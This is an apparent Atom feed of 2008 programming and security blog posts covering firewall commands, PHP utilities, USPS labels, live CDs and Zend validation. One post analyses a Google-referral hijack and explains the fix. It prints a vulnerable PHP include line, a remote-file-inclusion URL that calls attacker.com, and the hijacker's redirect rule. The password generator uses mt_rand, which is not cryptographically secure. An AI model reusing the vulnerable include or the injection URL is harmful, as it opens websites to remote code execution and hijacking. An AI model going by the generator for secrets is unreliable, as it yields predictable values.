&lt;p&gt;&lt;code&gt;ipseccmd -f [0=*:*:*]
ipseccmd -f (0=*:22:TCP)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To add access to FTP you can add:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ipseccmd -f (0=*:21:TCP)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you wanted you could place these commands in a .bat file and have them run at specific intervals effectively turning off your internet at scheduled times.&lt;/p&gt;

&lt;h3&gt;Reverting changes&lt;/h3&gt;

&lt;p&gt;If you want to undo all the changes to the default firewall changes just throw down this command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ipseccmd -u&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>PHP Include Injection and Google Referral Hijack</title>
		<link href="https://www.marksanborn.net/php/php-include-injection-and-google-referral-hijack/index.html" />
		<updated>2008-12-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/php-include-injection-and-google-referral-hijack/index.html</id>
		<content type="html">&lt;p&gt;So recently a &lt;a href=&#34;http://montanafragfest.com&#34;&gt;friend of mine&lt;/a&gt;, had a client that had a very odd problem.  His website was working fine when you go to it directly by typing in the domain name; however, if you searched for the site in Google and clicked the link for the site it would take you to a hijacked page.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;So the page only appeared hijacked when the referral was coming from Google.  The hijack could go unnoticed for months.  You would either have to be googleing yourself or wait until a good samaritan sends you an email warning you of the problem.  I must say this sort of attack is quite clever on the hijacker&amp;rsquo;s part.  The hijacked page gets the original site&amp;rsquo;s page rank and Google visits while the site owner has absolutely no clue.&lt;/p&gt;

&lt;h3&gt;Fixing it&lt;/h3&gt;

&lt;p&gt;The first part of the problem was to fix the hijack.  This was easily solved by simply deleting the .htaccess and restoring it with the original.  The hacked .htaccess contained a redirect similar to something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://google\.com
RewriteRule .* http://www.anotherdomain.com [R=301,L]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The second part of the problem was to find how the hacker was able to change the .htaccess.  Since we don&amp;rsquo;t have access to shared hosting logs we were going to to have to do it the hard way.&lt;/p&gt;

&lt;p&gt;We first tried a tool called, &lt;a href=&#34;http://cirt.net/nikto2&#34;&gt;nikto&lt;/a&gt;.  After running the tool it returned a myriad of potential problems that could have caused an attack, like old versions of PHP, old cgi scripts etc.. After thinking about it we thought that if it was the host&amp;rsquo;s fault there would be thousands of websites effected so we started digging into the code and found something interesting:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;include_once(&amp;quot;$_GET[page].inc.php&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This one liner was the culprit we were looking for.  This segment of code was used to include some code based on the particular pages the user was on.  The problem with it however is that it blindly accepts any value here.  Remember the golden rule: &lt;strong&gt;Sanatize all input!&lt;/strong&gt;  Failure to sanitize this input led to an attacker able to do something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://www.domain.com/index.php?page=attacker.com/attack&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;He would then have a script at his site called attack.inc.php.  The attacker knew that they needed the &lt;strong&gt;.inc.php&lt;/strong&gt; extension because the when they passed, &amp;lsquo;&lt;strong&gt;foobar&lt;/strong&gt;&amp;rsquo; through the page variable they got an error explaining that it wasn&amp;rsquo;t there.  To prevent this knowledge you could supress the PHP error messages or use PHP required function instead and throw out a die statement.  This would only provide obscurity however.  We needed to eliminate the vulnerability with input sanitation.&lt;/p&gt;

&lt;p&gt;To do this we used a simple &lt;a href=&#34;/howto/learning-regular-expressions-for-beginners-the-basics/&#34;&gt;regular expression&lt;/a&gt; that would only accept a-z and A-Z.  This would prevent remote includes and path traversing.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function sanitizeInput($string) { 
    return preg_replace(&amp;quot;/[^A-Za-z]/&amp;quot;, &amp;quot;&amp;quot;, $string); 
}  

echo sanitizeInput(&#39;blah123&#39;);     
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Remember to check over your code especially when getting input from the user.  This is a very sneaky attack that would ruin your Google page rank and your traffic before you even noticed what was going on.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Random Password (String) Generator for PHP</title>
		<link href="https://www.marksanborn.net/php/random-password-string-generator-for-php/index.html" />
		<updated>2008-12-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/random-password-string-generator-for-php/index.html</id>
		<content type="html">&lt;p&gt;Random string generators are something we programmers end up using quite a bit.  Sometimes you want to generate a random file name, a random email verification link, a random password, random token, etc.. Here is the one that I have been using lately.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;This password generator uses the &lt;a href=&#34;http://en.wikipedia.org/wiki/Mersenne_Twister&#34;&gt;Mersenne Twister algorithm&lt;/a&gt; to generate random digits.  You can learn more about it at &lt;a href=&#34;http://en.wikipedia.org/wiki/Mersenne_Twister&#34;&gt;Wikipedia&lt;/a&gt; or on &lt;a href=&#34;http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html&#34;&gt;Makoto Matsumoto&amp;rsquo;s website&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;    &amp;lt;?php
    function randomString($length = 10, $chars = &#39;1234567890&#39;) {
    
        // Alpha lowercase
        if ($chars == &#39;alphalower&#39;) {
            $chars = &#39;abcdefghijklmnopqrstuvwxyz&#39;;
        }
    
        // Numeric
        if ($chars == &#39;numeric&#39;) {
            $chars = &#39;1234567890&#39;;
        }
    
        // Alpha Numeric
        if ($chars == &#39;alphanumeric&#39;) {
            $chars = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890&#39;;
        }
    
        // Hex
        if ($chars == &#39;hex&#39;) {
            $chars = &#39;ABCDEF1234567890&#39;;
        }
    
        $charLength = strlen($chars)-1;
    
        for($i = 0 ; $i &amp;lt; $length ; $i++)
            {
                $randomString .= $chars[mt_rand(0,$charLength)];
            }
    
        return $randomString;
    }
    
    echo randomString(8,&#39;numeric&#39;);
    ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Syntax is &lt;strong&gt;randomString([int],[predifined | custom char set]);&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For example to create an 8 character alpha numeric string you could use:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;randomString(8,&#39;alphanumeric&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Of if you wanted a string with only a small subset of characters you could use:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;randomString(8,&#39;abco0iLlI&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Do you use something similar?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Printing a Label for USPS with PHP</title>
		<link href="https://www.marksanborn.net/php/printing-a-label-for-usps-with-php/index.html" />
		<updated>2008-12-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/printing-a-label-for-usps-with-php/index.html</id>
		<content type="html">&lt;div class=&#34;alert alert-info&#34;&gt;
&lt;strong&gt;Update:&lt;/strong&gt; For a no fuss, 100% complete USPS script with label printing support, integration and support I have created, &lt;a href=&#34;https://rocketshipit.com/?utm_source=msnet&amp;utm_medium=link&amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;.
&lt;/div&gt;

&lt;p&gt;If you have been following the posts on USPS you should know how to &lt;a href=&#34;/php/calculating-usps-shipping-rates-with-php/&#34;&gt;calculate USPS shipping rates with PHP&lt;/a&gt;.  Today we are going to use the same USPS API to print out a label.  One of the advantages of this is that you get free tracking on all priority shipments when you create your own label.  The other advantages is that you get to integrate automatic label generation with your website for customers or for your own shipping.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Start off by making a file called, &lt;strong&gt;USPSLabel.php&lt;/strong&gt; and copy and paste the code below and save it.&lt;/p&gt;

&lt;p&gt;Then Change the &lt;strong&gt;userName&lt;/strong&gt; variable with your USPS username and change the rest of the variables to match your label.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;USPSLabel.php&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function USPSLabel() {

// This script was written by Mark Sanborn at https://www.marksanborn.net
// If this script benefits you are your business please consider a donation
// You can donate at https://www.marksanborn.net/donate.

// ========== CHANGE THESE VALUES TO MATCH YOUR OWN ===========

$userName = &#39;&#39;; // Your USPS Username
$FromName = &#39;&#39;;
$FromAddress2 = &#39;&#39;;
$FromCity = &#39;&#39;;
$FromState = &#39;&#39;;
$FromZip5 = &#39;&#39;;

$ToName = &#39;&#39;;
$ToAddress2 = &#39;&#39;;
$ToCity = &#39;&#39;;
$ToState = &#39;&#39;;
$ToZip5 = &#39;&#39;;

$weightOunces = 5;


// =============== DON&#39;T CHANGE BELOW THIS LINE ===============

$url = &amp;quot;https://Secure.ShippingAPIs.com/ShippingAPI.dll&amp;quot;;
$ch = curl_init();

// set the target url
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

// parameters to post
curl_setopt($ch, CURLOPT_POST, 1);

$data = &amp;quot;API=DeliveryConfirmationV3&amp;amp;XML=&amp;lt;DeliveryConfirmationV3.0Request USERID=\&amp;quot;$userName\&amp;quot;&amp;gt;
&amp;lt;Option&amp;gt;1&amp;lt;/Option&amp;gt;
&amp;lt;ImageParameters /&amp;gt;
&amp;lt;FromName&amp;gt;$FromName&amp;lt;/FromName&amp;gt;
&amp;lt;FromFirm /&amp;gt;
&amp;lt;FromAddress1 /&amp;gt;
&amp;lt;FromAddress2&amp;gt;$FromAddress2&amp;lt;/FromAddress2&amp;gt;
&amp;lt;FromCity&amp;gt;$FromCity&amp;lt;/FromCity&amp;gt;
&amp;lt;FromState&amp;gt;$FromState&amp;lt;/FromState&amp;gt;
&amp;lt;FromZip5&amp;gt;$FromZip5&amp;lt;/FromZip5&amp;gt;
&amp;lt;FromZip4 /&amp;gt;
&amp;lt;ToName&amp;gt;$ToName&amp;lt;/ToName&amp;gt;
&amp;lt;ToFirm /&amp;gt;
&amp;lt;ToAddress1 /&amp;gt;
&amp;lt;ToAddress2&amp;gt;$ToAddress2&amp;lt;/ToAddress2&amp;gt;
&amp;lt;ToCity&amp;gt;$ToCity&amp;lt;/ToCity&amp;gt;
&amp;lt;ToState&amp;gt;$ToState&amp;lt;/ToState&amp;gt;
&amp;lt;ToZip5&amp;gt;$ToZip5&amp;lt;/ToZip5&amp;gt;
&amp;lt;ToZip4 /&amp;gt;
&amp;lt;WeightInOunces&amp;gt;$weightOunces&amp;lt;/WeightInOunces&amp;gt;
&amp;lt;ServiceType&amp;gt;Priority&amp;lt;/ServiceType&amp;gt;
&amp;lt;POZipCode /&amp;gt;
&amp;lt;ImageType&amp;gt;PDF&amp;lt;/ImageType&amp;gt;
&amp;lt;LabelDate /&amp;gt;
&amp;lt;/DeliveryConfirmationV3.0Request&amp;gt;&amp;quot;;

// send the POST values to USPS
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);

$result=curl_exec ($ch);
$data = strstr($result, &#39;&amp;lt;?&#39;);
// echo &#39;&amp;lt;!-- &#39;. $data. &#39; --&amp;gt;&#39;; // Uncomment to show XML in comments


$xmlParser = new uspsxmlParser();
$fromUSPS = $xmlParser-&amp;gt;xmlparser($data);
$fromUSPS = $xmlParser-&amp;gt;getData();

curl_close($ch);
return $fromUSPS;
}

class uspsxmlParser {

var $params = array(); //Stores the object representation of XML data
var $root = NULL;
var $global_index = -1;
var $fold = false;

/* Constructor for the class
* Takes in XML data as input( do not include the &amp;lt;xml&amp;gt; tag
*/
function xmlparser($input, $xmlParams=array(XML_OPTION_CASE_FOLDING =&amp;gt; 0)) {
    $xmlp = xml_parser_create();
        foreach($xmlParams as $opt =&amp;gt; $optVal) {
            switch( $opt ) {
            case XML_OPTION_CASE_FOLDING:
                $this-&amp;gt;fold = $optVal;
            break;
            default:
            break;
            }
            xml_parser_set_option($xmlp, $opt, $optVal);
    }

    if(xml_parse_into_struct($xmlp, $input, $vals, $index)) {
        $this-&amp;gt;root = $this-&amp;gt;_foldCase($vals[0][&#39;tag&#39;]);
        $this-&amp;gt;params = $this-&amp;gt;xml2ary($vals);
    }
    xml_parser_free($xmlp);
}

function _foldCase($arg) {
    return( $this-&amp;gt;fold ? strtoupper($arg) : $arg);
}

/*
 * Credits for the structure of this function
 * http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html
 *
 * Adapted by Ropu - 05/23/2007
 *
*/

function xml2ary($vals) {

    $mnary=array();
    $ary=&amp;amp;$mnary;
    foreach ($vals as $r) {
        $t=$r[&#39;tag&#39;];
        if ($r[&#39;type&#39;]==&#39;open&#39;) {
            if (isset($ary[$t]) &amp;amp;&amp;amp; !empty($ary[$t])) {
                if (isset($ary[$t][0])){
                    $ary[$t][]=array();
                } else {
                    $ary[$t]=array($ary[$t], array());
                }
                $cv=&amp;amp;$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&amp;amp;$ary[$t];
            }
            $cv=array();
            if (isset($r[&#39;attributes&#39;])) {
                foreach ($r[&#39;attributes&#39;] as $k=&amp;gt;$v) {
                $cv[$k]=$v;
                }
            }

            $cv[&#39;_p&#39;]=&amp;amp;$ary;
            $ary=&amp;amp;$cv;

            } else if ($r[&#39;type&#39;]==&#39;complete&#39;) {
                if (isset($ary[$t]) &amp;amp;&amp;amp; !empty($ary[$t])) { // same as open
                    if (isset($ary[$t][0])) {
                        $ary[$t][]=array();
                    } else {
                        $ary[$t]=array($ary[$t], array());
                    }
                $cv=&amp;amp;$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&amp;amp;$ary[$t];
            }
            if (isset($r[&#39;attributes&#39;])) {
                foreach ($r[&#39;attributes&#39;] as $k=&amp;gt;$v) {
                    $cv[$k]=$v;
                }
            }
            $cv[&#39;VALUE&#39;] = (isset($r[&#39;value&#39;]) ? $r[&#39;value&#39;] : &#39;&#39;);

            } elseif ($r[&#39;type&#39;]==&#39;close&#39;) {
                $ary=&amp;amp;$ary[&#39;_p&#39;];
            }
    }

    $this-&amp;gt;_del_p($mnary);
    return $mnary;
}

// _Internal: Remove recursion in result array
function _del_p(&amp;amp;$ary) {
    foreach ($ary as $k=&amp;gt;$v) {
    if ($k===&#39;_p&#39;) {
          unset($ary[$k]);
        }
        else if(is_array($ary[$k])) {
          $this-&amp;gt;_del_p($ary[$k]);
        }
    }
}

/* Returns the root of the XML data */
function GetRoot() {
  return $this-&amp;gt;root;
}

/* Returns the array representing the XML data */
function GetData() {
  return $this-&amp;gt;params;
}
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then make another file and include the functions like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
require(&#39;USPSLabel.php&#39;);

echo &#39;&amp;lt;pre&amp;gt;&#39;; print_r(USPSLabel()); echo &#39;&amp;lt;/pre&amp;gt;&#39;;
$USPSResponse = USPSLabel();
$USPSLabel = $USPSResponse[&#39;DeliveryConfirmationV3.0Response&#39;][&#39;DeliveryConfirmationLabel&#39;][&#39;VALUE&#39;];
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then use &lt;a href=&#34;http://us3.php.net/manual/en/function.base64-decode.php&#34;&gt;PHP&amp;rsquo;s base64_decode();&lt;/a&gt; to convert the image to PDF and save it with &lt;a href=&#34;http://us3.php.net/manual/en/function.fwrite.php&#34;&gt;fwrite&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/11/usps-label1.png&#34; alt=&#34;USPS Label&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately the security on this domain won&amp;rsquo;t allow me to write out an fopen/fwrite statement without throwing out a 503 error.  So you will have to look it up.  It is about 3 lines of code.&lt;/p&gt;

&lt;p&gt;You should end up with a a PDF label like the one to the right.  There are options to specify the size and type of label for people with regular printers or thermal label printers.&lt;/p&gt;

&lt;p&gt;This is basically just a sample of what you can do.  Check out the USPS Webtools guide and just adapt the XML part of the code to your integration needs.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using a Live CD</title>
		<link href="https://www.marksanborn.net/howto/using-a-live-cd/index.html" />
		<updated>2008-11-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/using-a-live-cd/index.html</id>
		<content type="html">&lt;p&gt;Let&amp;rsquo;s say you are working on an important email, document, or a critical website bug and your computer suddenly crashes and wont boot up.  You have to get this work done right away what do you do?  With a live CD you can be up and running in two minutes with the tools you need to finish the job.   When you are done with your work you can use the live CD to actually fix your computer.  Whether you are a computer techie or an average Joe, I think everyone should have a live CD next to their computer ready to go.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;What is a Live CD?&lt;/h3&gt;

&lt;p&gt;A live cd is a temporary operating system that runs from a CD instead of a hard drive.  This means that  it doesn&amp;rsquo;t permanently effect your computer.  When your computer is rebooted and the CD is ejected everything returns back to the way it was.  Unless of course you want to use the Live CD to make changes to your computer, like fixing a computer that wont boot.  Maybe you need to reinstall but you don&amp;rsquo;t want to loose those family pictures you saved.  Maybe there is 4 minutes left on an Ebay auction and your computer wont boot.&lt;/p&gt;

&lt;h3&gt;What can you do with a Live CD?&lt;/h3&gt;

&lt;p&gt;Well you can use a live cd as a temporary operating system to get you by or use it as a tool to fix/maintain computers.&lt;/p&gt;

&lt;p&gt;You can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transfer files to another hard drive even if your computer doesn&amp;rsquo;t work&lt;/li&gt;
&lt;li&gt;Reset a Windows administrator password&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;/linux/recovering-from-a-lost-linux-root-password/&#34;&gt;Reset a Linux root password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Turn you computer into a temporary network assessment vulnerability toolbox&lt;/li&gt;
&lt;li&gt;Remove spyware without waiting 25 minutes to boot&lt;/li&gt;
&lt;li&gt;Scan for viruses, especially useful for when viruses take over anti-virus&lt;/li&gt;
&lt;li&gt;Try out an operating system before installing it&lt;/li&gt;
&lt;li&gt;Build your own Linux distribution&lt;/li&gt;
&lt;li&gt;Watch a movie at a friends house without worrying about codecs and DVD player software&lt;/li&gt;
&lt;li&gt;umm&amp;hellip; You can do almost anything you could do on a regular OS&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Getting a Live CD to Run&lt;/h3&gt;

&lt;p&gt;When you turn you computer on one of the first things it does it look for a medium to boot from.  They have what is called a boot sequence.  For example a computer could first try to boot from a floppy disk then if that fails try the cdrom then the hard drive.  If all of them fail your computer will just sit at a blank screen.  What we need to do in order to boot from a CD is tell the computer to first look at the cdrom before checking the hard drive.  Sometimes this is done for you and all you have to do is put the CD in and restart the computer.  Other times you have to hit a key like &lt;strong&gt;del&lt;/strong&gt; to change the boot order.&lt;/p&gt;

&lt;h3&gt;Recommended Live CDs&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.ubuntu.com/getubuntu/download&#34;&gt;Ubuntu Live CD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.knopper.net/knoppix-mirrors/index-en.html&#34;&gt;Knoppix&lt;/a&gt; - One of the first live CDs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.remote-exploit.org/backtrack.html&#34;&gt;BackTrack&lt;/a&gt; - Ultimate security toolbox comes with every app you would ever need to test for security vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://clonezilla.org/&#34;&gt;Clonezilla&lt;/a&gt; - Open source ghost replacement&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.nu2.nu/pebuilder/&#34;&gt;Windows Live CD&lt;/a&gt; - Run a &amp;ldquo;Windows like&amp;rdquo; operating system.  This one is great for removing spyware and virus scanning.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.livecdlist.com/&#34;&gt;Comprehensive list of all Live CDs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So there you have it.  Don&amp;rsquo;t feel intimidated if this is you first time learning about live cds.  Just download one burn it to a CD and give it a whirl.  You literally can&amp;rsquo;t mess up your computer without actually knowing how to.  Live CDs can be a great emergency situation and a way to learn Linux without jumping into the deep end.  If you are a live cd veteran check out the &lt;a href=&#34;http://www.livecdlist.com/&#34;&gt;list of Live CDs&lt;/a&gt;.  You might find something new.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Why I use the Zend Framework</title>
		<link href="https://www.marksanborn.net/php/why-i-use-the-zend-framework/index.html" />
		<updated>2008-11-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/why-i-use-the-zend-framework/index.html</id>
		<content type="html">&lt;p&gt;Frameworks seem to be popping up all over the place for all sorts of languages.  These frameworks all have one goal.  They are looking to reduce development time.  Time is money and when you are working on client&amp;rsquo;s sites frameworks can drastically reduce the development time.  For this reason frameworks are not going away any time soon.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Why a framework?&lt;/h3&gt;

&lt;p&gt;If you haven&amp;rsquo;t tried a framework for web development do yourself a favor and just go try one.  Adding skills to your skill set will help you in future projects.  You may find yourself forced to work on a framework in the future so why not get a head start and learn one.&lt;/p&gt;

&lt;p&gt;They say a good programmer is a lazy one.  Why reinvent code?  Why come up with custom code that other programmers will have to decipher when it comes maintenance time.  Why not have code that is already well documented and widely known.  Why not allow someone else to research the industry standard way of doing the mundane tasks while you focus on the real programming?&lt;/p&gt;

&lt;h3&gt;Why not Ruby on Rails?&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/12/rails-podcast.png&#34; alt=&#34;Ruby on Rails&#34; /&gt;Ruby on Rails is a very popular framework for the ruby language.  I decided against using this as I wanted to leverage my experience in PHP with a PHP framework.  It only made sense to do this.  The other reason I did not go with Ruby is that it is not as well supported by webhosts.  For me it just doesn&amp;rsquo;t make sense to learn Ruby right now.&lt;/p&gt;

&lt;h3&gt;Why not cakePHP?&lt;/h3&gt;

&lt;p&gt;Actually CakePHP was the first framework I tried and I really thought I was going to use this one.  As newbie to the MVC model of programming I simply couldn&amp;rsquo;t follow the documentation.  After searching around I found Zend Framework.  I started going through the tutorials and watching a few screencasts.  Something finally clicked and I was able to start the learning process and do some trial and error.&lt;/p&gt;

&lt;p&gt;It wasn&amp;rsquo;t until I had already invested some time into the framework and spoke with a friend learning both Ruby on Rails and Cake PHP that I learned why I prefer this framework.  The Zend Framework is actually not really much of a framework at all.  Out of all the PHP frameworks Zend is probably the lest automated.  It is more accurately described as a library of common PHP functions.&lt;/p&gt;

&lt;p&gt;Unlike cakePHP Zend doesn&amp;rsquo;t setup database connections or really do much automatic code generation.  It sets up the MVC model and that is about it.  This provides a little more flexibility with your code.  This advantage however is also Zend&amp;rsquo;s disadvantage.  It means that you will spend more time building your prototype.&lt;/p&gt;

&lt;h3&gt;Why Zend?&lt;/h3&gt;

&lt;p&gt;The first thing that drew me into the Zend Framework was the fact that is was made the people that create and maintain PHP.  This means this framework is here for the long haul and isn&amp;rsquo;t going anywhere soon.  It also has some major players on board, IGN.com, RottenTomatoes.com, AskMen.com and IBM all use the Zend Framework.&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Traditional PHP developers will fit right in with Zend as it is just a library of great functions.  CakePHP is suited for people that are basically looking for a Ruby on Rails clone for PHP.  I think all the framework&amp;rsquo;s really do the same thing and learning whichever one fits your specific need is the one you should choose.  I chose Zend Framework because it fits my style.  There might be a better framework to try, just do a quick search and see where it takes you.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Validating an Email Address With Zend Framework</title>
		<link href="https://www.marksanborn.net/php/validating-an-email-address-with-zend-framework/index.html" />
		<updated>2008-11-24T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/validating-an-email-address-with-zend-framework/index.html</id>
		<content type="html">&lt;p&gt;Email addresses are one of trickiest input types to validate because there are multiple ways emails can be written according to the &lt;a href=&#34;http://www.faqs.org/rfcs/rfc2822.html&#34;&gt;RFC2822&lt;/a&gt; specification.  You could have &lt;strong&gt;me@gmail.com&lt;/strong&gt;, or &lt;strong&gt;me+spam@gmail.com&lt;/strong&gt;, or &lt;strong&gt;&amp;ldquo;mark@server&amp;rdquo;@marksanborn.net&lt;/strong&gt;, common on Linux/BSD systems.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;A lot of times people will use a regular expression like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;(\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6})&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This regular expression would work for almost all email addresses but would fail for others.  For example &lt;strong&gt;mark@gmail.co.uk&lt;/strong&gt; would not match.  Either would &lt;strong&gt;mark+spam@gmail.com&lt;/strong&gt;.  Which by the way is a very useful feature for email hosts that support it.&lt;/p&gt;

&lt;p&gt;Fortunately using my favorite PHP Framework, &lt;a href=&#34;http://framework.zend.com/&#34;&gt;Zend Framework&lt;/a&gt;, we don&amp;rsquo;t have to reinvent the proverbial wheel.&lt;/p&gt;

&lt;h3&gt;Validating an Email Address with Zend Framework&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$validator = new Zend_Validate_EmailAddress();
if ($validator-&amp;gt;isValid($email)) {
    // email appears to be valid
} else {
    // email is invalid; print the reasons
    foreach ($validator-&amp;gt;getMessages() as $message) {
        echo &amp;quot;$message\n&amp;quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Although they managed to get the regex for validating emails correctly, this is not where the power of Zend lies.  Zend gives you the ability to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check if the hostname actually accepts email&lt;/li&gt;
&lt;li&gt;Configure which emails types you will accept&lt;/li&gt;
&lt;li&gt;Validate Top Level Domains&lt;/li&gt;
&lt;li&gt;Validate International Domains Names (for international characters)&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Validating Credit Card Numbers with Zend Framework</title>
		<link href="https://www.marksanborn.net/php/validating-credit-card-numbers-with-zend-framework/index.html" />
		<updated>2008-11-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/validating-credit-card-numbers-with-zend-framework/index.html</id>
		<content type="html">&lt;p&gt;Ever wonder how websites can tell you made a mistake entering your credit card number before you even submit it?  Like most identification numbers credit cards have &lt;a href=&#34;http://en.wikipedia.org/wiki/Checksum&#34;&gt;checksum&lt;/a&gt; digits built into them.  Just like barcodes.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;If you ever look at a EAN-13 UPC barcode (on all retail products) you will notice there is a digit outside of the regular set on the right.  If any digit is out of order or mistyped you can tell that the barcode is wrong based on this checksum.  It also allows barcode readers the ability to &amp;ldquo;guess&amp;rdquo; what the barcode if part of the barcode got riped or damaged.  This is also how &lt;a href=&#34;http://en.wikipedia.org/wiki/Parchive&#34;&gt;PAR files&lt;/a&gt; can repair corrupt damaged or even missing files.&lt;/p&gt;

&lt;p&gt;Credit cards use a checksum algorithm called the, Luhn Algorithm, invented by Hans Peter Luhn.  This simple algorithm can check to see if a credit card number was accidentally mistyped.  This is what Zend Framework uses as well.&lt;/p&gt;

&lt;h3&gt;Validating Credit Card Numbers with Zend Framework&lt;/h3&gt;

&lt;p&gt;Here is a quick validation using Zend Framework:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$validator = new Zend_Validate_Ccnum();
        if ($validator-&amp;gt;isValid(&#39;8181876154321&#39;)) {
            echo &#39;valid&#39;;
        } else {
            // email is invalid; print the reasons
            foreach ($validator-&amp;gt;getMessages() as $message) {
                echo &amp;quot;$message\n&amp;quot;;
            }
        }
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>Why I Would Never Hijack Someone's Internet</title>
		<link href="https://www.marksanborn.net/security/why-i-would-never-hijack-someones-internet/index.html" />
		<updated>2008-11-16T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/why-i-would-never-hijack-someones-internet/index.html</id>
		<content type="html">&lt;p&gt;Well for the short answer all you have to do is ask your self this simple question.  &lt;strong&gt;Would you give your mail, credit cards and other personal information to a complete stranger?&lt;/strong&gt;  Probably not.  By connecting to someone else&amp;rsquo;s internet connection you are giving them complete control over the data that you send from your computer.  This may include mail, credit card information, and personal information.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Although crucial information like bank passwords are transmitted through SSL (encrypted) almost all traffic is sent in plain text.  For example this blog and all blogs running Wordpress don&amp;rsquo;t use SSL to encrypt the credential exchange.  Thus if you were connected to a untrusted internet service like your neighbor&amp;rsquo;s wireless they could easily see your blog&amp;rsquo;s password.  This is just one out of thousands of examples where personal information could be hijacked on the account of YOU hijacking their service.&lt;/p&gt;

